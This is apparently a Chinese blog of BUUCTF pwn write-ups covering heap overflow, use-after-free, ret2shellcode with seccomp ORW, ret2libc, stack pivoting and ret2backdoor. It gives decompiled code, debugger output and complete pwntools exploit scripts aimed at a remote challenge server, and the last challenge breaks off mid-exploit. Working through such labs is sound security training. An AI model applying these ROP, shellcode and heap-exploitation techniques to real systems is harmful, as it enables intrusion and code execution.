  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( *(_QWORD *)&itemlist[4 * v1 + 2] )
    {
      printf("Please enter the length of item name:");// vuln
      read(0, nptr, 8uLL);
      v2 = atoi(nptr);
      printf("Please enter the new name of the item:");
      *(_BYTE *)(*(_QWORD *)&itemlist[4 * v1 + 2] + (int)read(0, *(void **)&itemlist[4 * v1 + 2], v2)) = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

在原先创建堆的时候就已经创建好一定大小的堆了,edit功能中还可以控制输入长度,因此可以造成堆溢出,接下来就是构造堆来泄露libc并改__malloc_hook

泄露libcprintf输出的时候会被\x00截断,而且程序控制输入值的最后一位改成0,所以不能通过控制输入值覆盖掉\x00来输出libc

*(_BYTE *)(*(_QWORD *)&itemlist[4 * v1 + 2] + (int)read(0, *(void **)&itemlist[4 * v1 + 2], v2)) = 0;

首先创建三个堆,其中第一个堆用于修改第二个堆的大小,第二个堆用于覆盖第三个堆,其中第二个堆和第三个堆的大小之和要大于unsorted bin的大小

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603020
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x603040
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x603060
Size: 0xa0 (with flag bits: 0xa1)

Top chunk | PREV_INUSE
Addr: 0x603100
Size: 0x20d60 (with flag bits: 0x20d61)

接下来用第一个堆改变第二个堆去覆盖第三个堆,释放第二个堆之后在fdbk的位置中存在libc地址

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603020
Size: 0x20 (with flag bits: 0x21)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603040
Size: 0xc0 (with flag bits: 0xc1)
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

...

Top chunk | PREV_INUSE
Addr: 0x603200
Size: 0x20c60 (with flag bits: 0x20c61)

此时创建一个堆将从unsorted bin中切割,切割之后libc会落在剩余的unsorted bin的堆中,控制创建的堆大小使得libc恰好落在第三个堆的fd位置,控制创建的堆大小为0x18libc恰好会落在第三个堆上并且第三个堆仍然存在没有被释放,此时使用show功能即可获取libc

pwndbg> x/20gx 0x603020
0x603020:	0x0000000000000000	0x0000000000000021
0x603030:	0x6161616161616161	0x6161616161616161
0x603040:	0x6161616161616161	0x0000000000000021
0x603050:	0x00007ffff7dd0062	0x00007ffff7dd1c28
0x603060:	0x6161616161616161	0x00000000000000a1
0x603070:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x603080:	0x6161616161616161	0x6161616161616161
0x603090:	0x6161616161616161	0x6161616161616161
0x6030a0:	0x6161616161616161	0x6161616161616161
0x6030b0:	0x6161616161616161	0x6161616161616161

接下来利用fast bin实现任意地址写,将__malloc_hook改为gadget,需要注意的是不能直接将fd改成__malloc_hook,而要利用find_fake_chunk找到合适的fake_chunk来间接修改__malloc_hook

pwndbg> bin
fastbins
0x70: 0x603190 —▸ 0x7ffff7dd1aed ◂— 0xfff7a92e20000000
unsortedbin
all: 0x603060 —▸ 0x7ffff7dd1b78 ◂— 0x603060 /* '`0`' */
smallbins
empty
largebins
empty

最后释放fake chunk会调用munmap_chunk,释放的时候会报非法地址的错误,最后会调用__malloc_hook,实现getshell

► 0x7ffff7afd2a4    mov    rax, qword ptr [rip + 0x2d3c0d]
   0x7ffff7afd2ab    lea    rsi, [rsp + 0x50]
   0x7ffff7afd2b0    lea    rdi, [rip + 0x9caa0]
   0x7ffff7afd2b7    mov    rdx, qword ptr [rax]
   0x7ffff7afd2ba    call   execve                <execve>
 
   0x7ffff7afd2bf    call   abort                <abort>
 
   0x7ffff7afd2c4    lea    rax, [rip + 0x9ca8c]
   0x7ffff7afd2cb    mov    qword ptr [rsp + 0x68], 0
   0x7ffff7afd2d4    mov    qword ptr [rsp + 0x50], rax
   0x7ffff7afd2d9    mov    rax, qword ptr [rsp + 0x20]
   0x7ffff7afd2de    mov    qword ptr [rsp + 0x60], rax

actf_2019_babyheap

检查保护:没开地址随机化

☁  actf_2019_babyheap  checksec pwn         
[*] '/home/starrysky/buuctf/actf_2019_babyheap/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

分析函数:

就是简单的增删查功能,其中删除功能中存在UAF漏洞

if ( v1 >= 0 && v1 < count )
  {
    if ( ptr[v1] )
    {
      free((void *)ptr[v1]->content_ptr);
      free(ptr[v1]);                            // vuln
    }
  }

并且程序中存在system/bin/sh

.plt.got:00000000004007A0                               ; int system(const char *command)
.plt.got:00000000004007A0                               system proc near                        ; CODE XREF: menu+7B↓p
.plt.got:00000000004007A0 FF 25 0A 18 20 00             jmp     cs:system_ptr
.plt.got:00000000004007A0
.plt.got:00000000004007A0                               system endp
.data:0000000000602010 2F                            db  2Fh ; /
.data:0000000000602011 62                            db  62h ; b
.data:0000000000602012 69                            db  69h ; i
.data:0000000000602013 6E                            db  6Eh ; n
.data:0000000000602014 2F                            db  2Fh ; /
.data:0000000000602015 73                            db  73h ; s
.data:0000000000602016 68                            db  68h ; h
.data:0000000000602017 00                            db    0

创建堆的逻辑:先创建一个堆管理用于存储printf函数和保存堆内容的堆的地址,再根据长度创建一个存储堆内容的堆

if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !ptr[i] )
      {
        ptr[i] = (heap *)malloc(0x10uLL);
        *(_QWORD *)&ptr[i]->func = print;
        puts("Please input size: ");
        read(0, buf, 8uLL);
        len = atoi(buf);
        v0 = ptr[i];
        v0->content_ptr = (__int64)malloc(len);
        puts("Please input content: ");
        read(0, (void *)ptr[i]->content_ptr, len);
        ++count;
        return __readfsqword(0x28u) ^ v5;
      }
    }
  }

查的逻辑:调用堆管理中的printf,传递参数为堆管理中的堆指针中的内容

if ( v1 >= 0 && v1 < count )
  {
    if ( ptr[v1] )
      (*(void (__fastcall **)(__int64))&ptr[v1]->func)(ptr[v1]->content_ptr);
  }

因此只需要想办法让show函数这里的content_ptr改成/bin/sh的地址,让func改成system的地址即可

构造:由于存在UAF漏洞,即释放的堆管理地址仍然存在,所以在show的时候仍然可以利用释放过的堆,而控制堆管理则需要分析堆的创建过程:创建一个0x20的堆和一个指定大小的堆

那么创建两个大小大于0x20的堆时释放它们的时候它们的堆管理都进入fast bin

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x2207000
Size: 0x250 (with flag bits: 0x251)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x2207250
Size: 0x20 (with flag bits: 0x21)
fd: 0x00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x2207270
Size: 0x70 (with flag bits: 0x71)
fd: 0x00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x22072e0
Size: 0x20 (with flag bits: 0x21)
fd: 0x2207260

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x2207300
Size: 0x70 (with flag bits: 0x71)
fd: 0x2207280

Top chunk | PREV_INUSE
Addr: 0x2207370
Size: 0x20c90 (with flag bits: 0x20c91)

pwndbg> bin
tcachebins
0x20 [  2]: 0x22072f0 —▸ 0x2207260 ◂— 0x0
0x70 [  2]: 0x2207310 —▸ 0x2207280 ◂— 0x0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

此时创建一个0x20的堆,其中堆管理和实际输入内容的堆大小都是0x20,两个堆都是从之前释放的fast bin中取值,而fast bin中原先存在的两个堆就是用于管理的堆。因此创建一个0x20的堆之后可控的那个堆必然在其中一个堆管理的地址上,此时控制了funccontent_ptr地址的内容再去show即可执行system('/bin/sh')

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1e2a000
Size: 0x250 (with flag bits: 0x251)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x1e2a250
Size: 0x20 (with flag bits: 0x21)
fd: 0x00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x1e2a270
Size: 0x70 (with flag bits: 0x71)
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x1e2a2e0
Size: 0x20 (with flag bits: 0x21)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x1e2a300
Size: 0x70 (with flag bits: 0x71)
fd: 0x1e2a280

Top chunk | PREV_INUSE
Addr: 0x1e2a370
Size: 0x20c90 (with flag bits: 0x20c91)

pwndbg> x/20gx 0x1e2a2e0
0x1e2a2e0:	0x0000000000000000	0x0000000000000021
0x1e2a2f0:	0x0000000001e2a260	0x000000000040098a
0x1e2a300:	0x0000000000000000	0x0000000000000071
0x1e2a310:	0x0000000001e2a280	0x0000000000000000
0x1e2a320:	0x0000000000000000	0x0000000000000000
0x1e2a330:	0x0000000000000000	0x0000000000000000
0x1e2a340:	0x0000000000000000	0x0000000000000000
0x1e2a350:	0x0000000000000000	0x0000000000000000
0x1e2a360:	0x0000000000000000	0x0000000000000000
0x1e2a370:	0x0000000000000000	0x0000000000020c91
pwndbg> x/20gx 0x000000000040098a
0x40098a:	0x20ec8348e5894855	0x048b4864e87d8948
0x40099a:	0x4589480000002825	0x48e8458b48c031f8
0x4009aa:	0xb800400e68bfc689	0xfffdede800000000
0x4009ba:	0x4864f8458b4890ff	0x7400000028250433
0x4009ca:	0xc3c9fffffdc0e805	0x10ec8348e5894855
0x4009da:	0x00002825048b4864	0xbfc031f845894800
0x4009ea:	0xfffd95e800400e80	0x8be800400ea0bfff
0x4009fa:	0x00400e80bffffffd	0x0ec0bffffffd81e8
0x400a0a:	0xbffffffd77e80040	0xfffd6de800400ee0
0x400a1a:	0x63e800400f00bfff	0x00400f20bffffffd
 0x400cec    mov    edx, dword ptr [rbp - 0x24]
  0x400cef    movsxd rdx, edx
  0x400cf2    mov    rdx, qword ptr [rdx*8 + 0x602060]
  0x400cfa    mov    rdx, qword ptr [rdx]
  0x400cfd    mov    rdi, rdx
► 0x400d00    call   rax                           <system@plt>
       command: 0x602010 ◂— 0x68732f6e69622f /* '/bin/sh' */

  0x400d02    mov    rax, qword ptr [rbp - 8]
  0x400d06    xor    rax, qword ptr fs:[0x28]
  0x400d0f    je     0x400d16                      <0x400d16>

  0x400d11    call   __stack_chk_fail@plt                      <__stack_chk_fail@plt>

  0x400d16    leave  

[极客大挑战 2019]Not Bad

没有开任何保护,开了沙箱,可以使用orw

not_bad  seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0009
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

栈可读可写可执行,0x123000可写可执行

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
          0x123000           0x124000 -wxp     1000      0 [anon_00123]
          0x3ff000           0x400000 rw-p     1000      0 /home/starrysky/buuctf/not_bad/pwn
          0x400000           0x401000 r-xp     1000   1000 /home/starrysky/buuctf/not_bad/pwn
          0x600000           0x601000 r--p     1000   1000 /home/starrysky/buuctf/not_bad/pwn
          0x601000           0x602000 rw-p     1000   2000 /home/starrysky/buuctf/not_bad/pwn
          0x602000           0x623000 rw-p    21000      0 [heap]
    0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000      0 /home/starrysky/buuctf/not_bad/2.27/libc-2.27.so
    0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000 1e7000 /home/starrysky/buuctf/not_bad/2.27/libc-2.27.so
    0x7ffff7dcb000     0x7ffff7dcf000 r--p     4000 1e7000 /home/starrysky/buuctf/not_bad/2.27/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd1000 rw-p     2000 1eb000 /home/starrysky/buuctf/not_bad/2.27/libc-2.27.so
    0x7ffff7dd1000     0x7ffff7dd5000 rw-p     4000      0 [anon_7ffff7dd1]
    0x7ffff7dd5000     0x7ffff7dfc000 r-xp    27000      0 /home/starrysky/buuctf/not_bad/2.27/ld-2.27.so
    0x7ffff7fbb000     0x7ffff7fbe000 rw-p     3000      0 [anon_7ffff7fbb]
    0x7ffff7fbe000     0x7ffff7fc0000 r--p     2000      0 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
    0x7ffff7fc0000     0x7ffff7fcf000 r-xp     f000   2000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
    0x7ffff7fcf000     0x7ffff7fdd000 r--p     e000  11000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
    0x7ffff7fdd000     0x7ffff7fde000 ---p     1000  1f000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
    0x7ffff7fde000     0x7ffff7fdf000 r--p     1000  1f000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
    0x7ffff7fdf000     0x7ffff7fe0000 rw-p     1000  20000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
    0x7ffff7fe0000     0x7ffff7fe2000 rw-p     2000      0 [anon_7ffff7fe0]
    0x7ffff7ff6000     0x7ffff7ffa000 r--p     4000      0 [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000      0 [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000  27000 /home/starrysky/buuctf/not_bad/2.27/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000  28000 /home/starrysky/buuctf/not_bad/2.27/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000      0 [anon_7ffff7ffe]
    0x7ffffffde000     0x7ffffffff000 rwxp    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]

所以本题的思路就是ret2shellcode,运行到shellcode的方法就是jmp rsp

not_bad  ROPgadget --binary pwn --only 'jmp'
Gadgets information
============================================================
0x000000000040078b : jmp 0x400770
0x00000000004008eb : jmp 0x400880
0x0000000000400b03 : jmp 0x400b7a
0x0000000000400b87 : jmp qword ptr [rax - 0x68000000]
0x0000000000400ceb : jmp qword ptr [rbp]
0x0000000000400865 : jmp rax
0x0000000000400a01 : jmp rsp

Unique gadgets found: 7

先随意填充局部变量和rbp,再运行到jmp rsp

pwndbg> stack	
00:0000│ rsp 0x7fff2bc941f0 ◂— 0xc748ff3148c03148	<--局部变量开始位置
01:0008│     0x7fff2bc941f8 ◂— 0xc2c74800123000c6
02:0010│     0x7fff2bc94200 ◂— 0xc748050f00000100
03:0018│     0x7fff2bc94208 ◂— 0xd0ff00123000c0
04:0020│ rbp 0x7fff2bc94210 ◂— 0x0
05:0028│     0x7fff2bc94218 —▸ 0x400a01 ◂— jmp rsp
06:0030│     0x7fff2bc94220 ◂— 0x480ae4ff30ec8348	<--跳转之后能执行的位置
07:0038│     0x7fff2bc94228 —▸ 0x123000 ◂— add byte ptr [rax], al
► 0x400a01          jmp    rsp                           <0x7fff2bc94220>

写入长度不够,在能执行的位置可以写入shellcode先扩充能执行代码空间,即sub rsp, 0x20 jmp rsp,执行到局部变量内容,然后在局部变量中填入shellcode来再次读取,由于没开pie所以可以选择将orw读取到0x123000,读取之后还需要去执行orw,所以需要先将读取的地址赋给rax,接着call rax即可执行orw

最终exp如下:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 27338)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

jmp_rsp = 0x0000000000400a01

p = f"""
xor rax,rax;
xor rdi,rdi;
mov rsi,0x123000;
mov rdx,0x100;
syscall;
mov rax,0x123000;
call rax;
"""
p = asm(p)
p = p.ljust(0x28, b'\x00') + p64(jmp_rsp) + asm('sub rsp,0x30;jmp rsp')
r.sendline(p)

shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, 0x123000 + 0x100, 0x30)
shellcode += shellcraft.write(1, 0x123000 + 0x100,0x30)

r.sendline(asm(shellcode))

r.interactive()

cmcc_pwnme1

这题就是一道简单的栈溢出,先检查保护

cmcc_pwnme1  checksec pwn
[*] '/home/starrysky/buuctf/cmcc_pwnme1/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8047000)
    RWX:      Has RWX segments

看到Has RWX segments第一反应想到的是ret2shellcode

程序主要内容如下:

int getfruit()
{
  char v1[164]; // [esp+14h] [ebp-A4h] BYREF

  fflush(stdout);
  printf("Please input the name of fruit:");
  __isoc99_scanf("%s", v1);
  return printf("oh,%s...\n", v1);
}

其中存在一个后面函数,但是buuctf又又又又改了远程的flag位置,所以不能直接溢出到后门

int getflag()
{
  char s[120]; // [esp+14h] [ebp-84h] BYREF
  FILE *stream; // [esp+8Ch] [ebp-Ch]

  puts("Yeah, you got it...");
  stream = fopen("/home/flag", "r");
  if ( !stream )
    perror("/home/flag");
  fgets(s, 120, stream);
  puts(s);
  fclose(stream);
  return 1;
}

尝试写shellcode,先查看可执行段在哪

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
     Start        End Perm     Size Offset File
 0x8047000  0x8048000 rw-p     1000      0 /home/starrysky/buuctf/cmcc_pwnme1/pwn
 0x8048000  0x8049000 r-xp     1000   1000 /home/starrysky/buuctf/cmcc_pwnme1/pwn
 0x8049000  0x804a000 r--p     1000   1000 /home/starrysky/buuctf/cmcc_pwnme1/pwn
 0x804a000  0x804b000 rw-p     1000   2000 /home/starrysky/buuctf/cmcc_pwnme1/pwn
0xf7e15000 0xf7fc2000 r-xp   1ad000      0 /home/starrysky/buuctf/cmcc_pwnme1/libc-2.23.so
0xf7fc2000 0xf7fc3000 ---p     1000 1ad000 /home/starrysky/buuctf/cmcc_pwnme1/libc-2.23.so
0xf7fc3000 0xf7fc5000 r--p     2000 1ad000 /home/starrysky/buuctf/cmcc_pwnme1/libc-2.23.so
0xf7fc5000 0xf7fc6000 rw-p     1000 1af000 /home/starrysky/buuctf/cmcc_pwnme1/libc-2.23.so
0xf7fc6000 0xf7fcb000 rw-p     5000      0 [anon_f7fc6]
0xf7fcb000 0xf7fcf000 r--p     4000      0 [vvar]
0xf7fcf000 0xf7fd1000 r-xp     2000      0 [vdso]
0xf7fd1000 0xf7fd2000 r--p     1000      0 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7fd2000 0xf7ff0000 r-xp    1e000   1000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ff0000 0xf7ffb000 r--p     b000  1f000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 r--p     1000  2a000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 rw-p     1000  2b000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 rwxp    21000      0 [stack]

发现和上一题一样,可执行段在栈上,现在最主要的就是如何控制程序流去执行到栈,但是通过各种尝试最后发现要获取栈地址只能通过libc,那不如直接ret2libc,最后本题还是用了ret2libc得解(好气想了半天怎么执行到shellcode

exp如下

from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 27029)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']
ret = 0x08048476

r.sendline('5')

p = b'a'*(0xa4+4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(p)

r.recvuntil(b'a' * (0xa4 + 4))
puts_addr = u32(r.recvuntil('\xf7')[-4:])

libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh').__next__() + libc_base

r.sendline('5')
p = b'a' * (0xa4 + 4) + p32(system) + p32(main_addr) + p32(bin_sh)
r.sendline(p)

r.interactive()

actf_2019_babystack

64位的栈题,开了堆栈不可执行

actf_2019_babystack  checksec pwn
[*] '/home/starrysky/buuctf/actf_2019_babystack/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

程序也很简单,读取指定的长度内容到栈上,且输出变量地址

puts("Welcome to ACTF's babystack!");
  sleep(3u);
  puts("How many bytes of your message?");
  putchar(0x3E);
  get_len();
  if ( len <= 224 )
  {
    printf("Your message will be saved at %p\n", s);
    puts("What is the content of your message?");
    putchar('>');
    read(0, s, len);
    puts("Byebye~");
    return 0LL;
  }

但是get_len函数限制了不能使用整型溢出

void __fastcall sub_400A1A()
{
  char s[16]; // [rsp+0h] [rbp-10h] BYREF

  fgets(s, 8, stdin);
  len = atol(s);
}

但是读取的内容还是存在0x8字节的溢出,也就刚好可以返回到一个地址,溢出长度不够,所以可以想到使用栈迁移,先将需要执行的内容写到栈上再把程序流直接劫持到栈上,这里可以使用ret2libc,但直接返回到mainstart故技重施却不能正常输入,于是想到在第一次输入就控制执行read填写到指定地址再次利用栈迁移执行到指定地址,但是这个地址不能是原栈地址或向后一部分的地址,所以需要考虑找一个可写的地址

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
          0x3fe000           0x400000 rw-p     2000      0 /home/starrysky/buuctf/actf_2019_babystack/pwn
          0x400000           0x401000 r-xp     1000   2000 /home/starrysky/buuctf/actf_2019_babystack/pwn
          0x600000           0x601000 r--p     1000   2000 /home/starrysky/buuctf/actf_2019_babystack/pwn
          0x601000           0x602000 rw-p     1000   3000 /home/starrysky/buuctf/actf_2019_babystack/pwn
    0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000      0 /home/starrysky/buuctf/actf_2019_babystack/2.27/libc-2.27.so
    0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000 1e7000 /home/starrysky/buuctf/actf_2019_babystack/2.27/libc-2.27.so
    0x7ffff7dcb000     0x7ffff7dcf000 r--p     4000 1e7000 /home/starrysky/buuctf/actf_2019_babystack/2.27/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd1000 rw-p     2000 1eb000 /home/starrysky/buuctf/actf_2019_babystack/2.27/libc-2.27.so
    0x7ffff7dd1000     0x7ffff7dd5000 rw-p     4000      0 [anon_7ffff7dd1]
    0x7ffff7dd5000     0x7ffff7dfc000 r-xp    27000      0 /home/starrysky/buuctf/actf_2019_babystack/2.27/ld-2.27.so
    0x7ffff7ff4000     0x7ffff7ff6000 rw-p     2000      0 [anon_7ffff7ff4]
    0x7ffff7ff6000     0x7ffff7ffa000 r--p     4000      0 [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000      0 [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000  27000 /home/starrysky/buuctf/actf_2019_babystack/2.27/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000  28000 /home/starrysky/buuctf/actf_2019_babystack/2.27/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000      0 [anon_7ffff7ffe]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]

由于没有开地址随机化,以上地址中可以采用0x601000 0x602000 rw-p 1000 3000 /home/starrysky/buuctf/actf_2019_babystack/pwn这一段地址区域,综上在第一次写入的内容一共有:puts输出libc地址+read输入下一次需要控制的内容+两次迁移

具体exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 26094)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendlineafter(b'How many bytes of your message?', str(224))

r.recvuntil(b'0x')
addr = int(r.recv(12), 16)

main = 0x400800
ret = 0x0000000000400709
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read = elf.plt['read']
pop_rsi_r15_ret = 0x0000000000400ad1
libc = ELF('./2.27/libc-2.27.so')
pop_rdi_ret = 0x0000000000400ad3
pop_rbp_ret = 0x0000000000400860
leave_ret = 0x0000000000400a18

p = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
p += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(puts_got) + p64(0) + p64(read)
p += p64(puts_plt)
p = p.ljust(0xd0, b'\x00') + p64(addr - 0x8) + p64(leave_ret)
r.sendafter(b'What is the content of your message?', p)

puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
one = [0x4f2c5, 0x4f322, 0x10a38c]
ogg = one[1] + libc_base

sleep(0.5)
r.send(p64(ogg))

r.interactive()

suctf_2018_basic pwn

一道栈题,先检查保护

suctf_2018_basic  checksec pwn       
[*] '/home/starrysky/buuctf/suctf_2018_basic/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

查看程序,很简单的一个栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[268]; // [rsp+10h] [rbp-110h] BYREF
  int v5; // [rsp+11Ch] [rbp-4h]

  scanf("%s", s);
  v5 = strlen(s);
  printf("Hi %s\n", s);
  return 0;
}

存在后门函数

int callThisFun(void)
{
  char *path[4]; // [rsp+0h] [rbp-20h] BYREF

  path[0] = "/bin/cat";
  path[1] = "flag.txt";
  path[2] = 0LL;
  return execve("/bin/cat", path, 0LL);
}

按照惯例来说,远程文件名应该是不对的,但是还是尝试一下直接返回到后门尝试一下

[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2b bytes:
    b'flag{e89f200e-b1f5-4bab-972d-c7ce0425b67a}\n'
flag{e89f200e-b1f5-4bab-972d-c7ce0425b67a}
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 28894

嗯…结果对了,exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 28894)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

backdoor = 0x401157
r.send(b'a' * 0x118 + p64(backdoor))

r.interactive()

ciscn_2019_es_1

这是一道堆题,检查保护发现保护全开,逆程序找漏洞

add函数限制了最多创建12个堆,输入指定长度的name和电话号码,但实际上也没有要求是数字

heap_addr[index] = malloc(0x18uLL);
  puts("Please input the size of compary's name");
  __isoc99_scanf("%d", size);
  heap_addr[heap_number]->name_size = size[0];
  heap_ptr = heap_addr[heap_number];
  heap_ptr->name_ptr = malloc(LODWORD(size[0]));
  puts("please input name:");
  read(0, heap_addr[heap_number]->name_ptr, LODWORD(size[0]));
  puts("please input compary call:");
  read(0, &heap_addr[heap_number]->ring, 0xCuLL);
  HIBYTE(heap_addr[heap_number][1].name_ptr) = 0;
  puts("Done!");
  ++heap_number;

delete函数存在UAF漏洞

unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input the index:");
  __isoc99_scanf("%d", &v1);
  if ( heap_addr[v1] )
    free(*heap_addr[v1]);	//vuln
  puts("You try it!");
  puts("Done");
  return __readfsqword(0x28u) ^ v2;
}

show函数可以输出name和电话号码,基本就是用于输出libc

第一步就是输出libc, 由于版本是2.27存在tcache,所以要先填充tcache再通过unsorted bin获取libc

for i in range(8):
	add(0x90, b'b', b'd')

for i in range(7):
	delete(i)
	
show(7)

